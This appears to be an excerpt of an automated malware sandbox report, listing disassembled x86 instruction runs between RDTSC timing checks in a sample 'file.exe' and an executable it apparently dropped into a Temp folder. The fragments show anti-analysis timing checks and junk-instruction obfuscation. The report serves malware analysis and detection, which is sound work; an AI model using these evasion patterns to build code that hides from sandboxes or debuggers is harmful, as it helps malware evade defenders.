Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C090F second address: 50C092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C09E6 second address: 50C0053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov eax, 6533711Bh 0x00000010 movzx eax, di 0x00000013 popad 0x00000014 je 00007F85D1B8D841h 0x0000001a xor eax, eax 0x0000001c jmp 00007F856100931Ah 0x00000021 pop esi 0x00000022 pop edi 0x00000023 pop ebx 0x00000024 leave 0x00000025 retn 0004h 0x00000028 nop 0x00000029 cmp eax, 00000000h 0x0000002c setne cl 0x0000002f xor ebx, ebx 0x00000031 test cl, 00000001h 0x00000034 jne 00007F856102FBE7h 0x00000036 jmp 00007F856102FD5Bh 0x0000003b call 00007F8565F08E85h 0x00000040 mov edi, edi 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F856102FBF5h 0x00000049 or cx, C936h 0x0000004e jmp 00007F856102FBF1h 0x00000053 popfd 0x00000054 push eax 0x00000055 push edx 0x00000056 pushfd 0x00000057 jmp 00007F856102FBEEh 0x0000005c add eax, 308C7058h 0x00000062 jmp 00007F856102FBEBh 0x00000067 popfd 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0053 second address: 50C008D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F856106A868h 0x00000008 jmp 00007F856106A865h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C008D second address: 50C0094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0094 second address: 50C00BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov cl, 34h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F856106A866h 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C00BC second address: 50C00C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C00C2 second address: 50C011A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A864h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F856106A860h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F856106A85Dh 0x0000001a sub ecx, 2B078176h 0x00000020 jmp 00007F856106A861h 0x00000025 popfd 0x00000026 mov di, si 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C011A second address: 50C0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0120 second address: 50C0124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C018A second address: 50C01C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007F856102FBEAh 0x0000000c sub ah, FFFFFFB8h 0x0000000f jmp 00007F856102FBEBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 leave 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F856102FBF5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0DC7 second address: 50C0DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A85Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0E93 second address: 50C0E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0E99 second address: 50C0EAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 31318802h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EAE second address: 50C0EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EB4 second address: 50C0EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EB9 second address: 50C0EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBF0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c call 00007F85D1B84888h 0x00000011 push 75C12B70h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov eax, dword ptr [esp+10h] 0x00000021 mov dword ptr [esp+10h], ebp 0x00000025 lea ebp, dword ptr [esp+10h] 0x00000029 sub esp, eax 0x0000002b push ebx 0x0000002c push esi 0x0000002d push edi 0x0000002e mov eax, dword ptr [75C74538h] 0x00000033 xor dword ptr [ebp-04h], eax 0x00000036 xor eax, ebp 0x00000038 push eax 0x00000039 mov dword ptr [ebp-18h], esp 0x0000003c push dword ptr [ebp-08h] 0x0000003f mov eax, dword ptr [ebp-04h] 0x00000042 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000049 mov dword ptr [ebp-08h], eax 0x0000004c lea eax, dword ptr [ebp-10h] 0x0000004f mov dword ptr fs:[00000000h], eax 0x00000055 ret 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 mov cx, bx 0x0000005c mov eax, edx 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0EDE second address: 50C0EF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07AD second address: 50E07B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07B1 second address: 50E07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07B7 second address: 50E07CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 6CC3A783h 0x00000008 mov eax, 568F38DFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07CE second address: 50E07D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07D2 second address: 50E07D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07D6 second address: 50E07DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07DC second address: 50E07E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07E2 second address: 50E07E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E07E6 second address: 50E087A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov cl, 9Bh 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F856102FBF9h 0x00000019 and si, BF16h 0x0000001e jmp 00007F856102FBF1h 0x00000023 popfd 0x00000024 call 00007F856102FBF0h 0x00000029 mov ebx, eax 0x0000002b pop esi 0x0000002c popad 0x0000002d push esp 0x0000002e pushad 0x0000002f mov bx, si 0x00000032 call 00007F856102FBF4h 0x00000037 push esi 0x00000038 pop ebx 0x00000039 pop eax 0x0000003a popad 0x0000003b mov dword ptr [esp], esi 0x0000003e jmp 00007F856102FBEDh 0x00000043 mov esi, dword ptr [ebp+0Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E087A second address: 50E0880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0880 second address: 50E0885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0885 second address: 50E08B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F856106A85Eh 0x0000000a and ax, 2728h 0x0000000f jmp 00007F856106A85Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E08B4 second address: 50E08B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E08B8 second address: 50E08BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E08BE second address: 50E094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 13h 0x00000005 pushfd 0x00000006 jmp 00007F856102FBF5h 0x0000000b sbb ch, FFFFFFF6h 0x0000000e jmp 00007F856102FBF1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F85D1B5D6ACh 0x0000001d jmp 00007F856102FBEEh 0x00000022 cmp dword ptr [75C7459Ch], 05h 0x00000029 jmp 00007F856102FBF0h 0x0000002e je 00007F85D1B75761h 0x00000034 pushad 0x00000035 pushad 0x00000036 call 00007F856102FBECh 0x0000003b pop eax 0x0000003c push ebx 0x0000003d pop ecx 0x0000003e popad 0x0000003f mov al, bl 0x00000041 popad 0x00000042 xchg eax, esi 0x00000043 pushad 0x00000044 mov cx, 70CBh 0x00000048 push eax 0x00000049 mov di, 67F2h 0x0000004d pop edi 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 mov ebx, 6E6DF3D8h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E094D second address: 50E095B instructions: 0x00000000 rdtsc 0x00000002 mov edi, 3EBA7584h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b movsx edi, si 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E09ED second address: 50E0A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 mov dl, ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F856102FBEBh 0x00000014 sub cl, FFFFFFCEh 0x00000017 jmp 00007F856102FBF9h 0x0000001c popfd 0x0000001d jmp 00007F856102FBF0h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A6F second address: 50E0A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0A75 second address: 50E0AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F856102FBF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0AA1 second address: 50E0AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0AA8 second address: 50E0AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F856102FBF3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0AC5 second address: 50E0ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0ACB second address: 50E0ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 19E4EB second address: 19E4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 316149 second address: 31617D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F856102FBFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F856102FC08h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F856102FBEAh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 31617D second address: 316181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 316181 second address: 316185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 316185 second address: 31618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3229B0 second address: 3229B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3229B9 second address: 3229C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 322C80 second address: 322C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBEFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 322C94 second address: 322C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 322C99 second address: 322CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F856102FBE6h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F856102FBF9h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 322CC7 second address: 322CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 322F8F second address: 322F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 323136 second address: 323156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F856106A85Eh 0x0000000b pushad 0x0000000c ja 00007F856106A856h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3232D3 second address: 3232DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F856102FBE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3232DF second address: 3232F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F856106A856h 0x0000000c jmp 00007F856106A85Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3232F7 second address: 323319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F856102FBFAh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3263CF second address: 3263D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3263D8 second address: 3263DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3264CC second address: 32652E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2441h], ebx 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D2E70h] 0x00000019 call 00007F856106A859h 0x0000001e pushad 0x0000001f jmp 00007F856106A85Eh 0x00000024 jmp 00007F856106A85Eh 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007F856106A865h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 push ecx 0x00000036 pushad 0x00000037 popad 0x00000038 pop ecx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 32652E second address: 326542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F856102FBE8h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326542 second address: 326566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edi 0x0000000e jng 00007F856106A85Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326566 second address: 3265D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov ecx, dword ptr [ebp+122D2D40h] 0x0000000c mov esi, eax 0x0000000e push 00000003h 0x00000010 jmp 00007F856102FBF0h 0x00000015 push 00000000h 0x00000017 call 00007F856102FBF6h 0x0000001c sub ch, 00000002h 0x0000001f pop esi 0x00000020 push 00000003h 0x00000022 jnc 00007F856102FBECh 0x00000028 and esi, dword ptr [ebp+122D2EB8h] 0x0000002e call 00007F856102FBE9h 0x00000033 pushad 0x00000034 jmp 00007F856102FBF6h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3265D4 second address: 3265F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F856106A858h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3265F4 second address: 326623 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007F856102FBEEh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F856102FBEBh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326623 second address: 326661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007F856106A869h 0x0000000b popad 0x0000000c pop eax 0x0000000d mov cx, 6D06h 0x00000011 lea ebx, dword ptr [ebp+1245C2E3h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F856106A861h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326661 second address: 326667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326667 second address: 32666B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3266CF second address: 3266F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F856102FBF3h 0x0000000f jl 00007F856102FBECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3266F4 second address: 326737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push edx 0x00000007 mov dword ptr [ebp+122D2568h], ecx 0x0000000d pop esi 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F856106A858h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov si, A035h 0x0000002e push 6EEC4E5Ah 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3267F2 second address: 3267FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F856102FBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3267FC second address: 326816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F856106A865h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
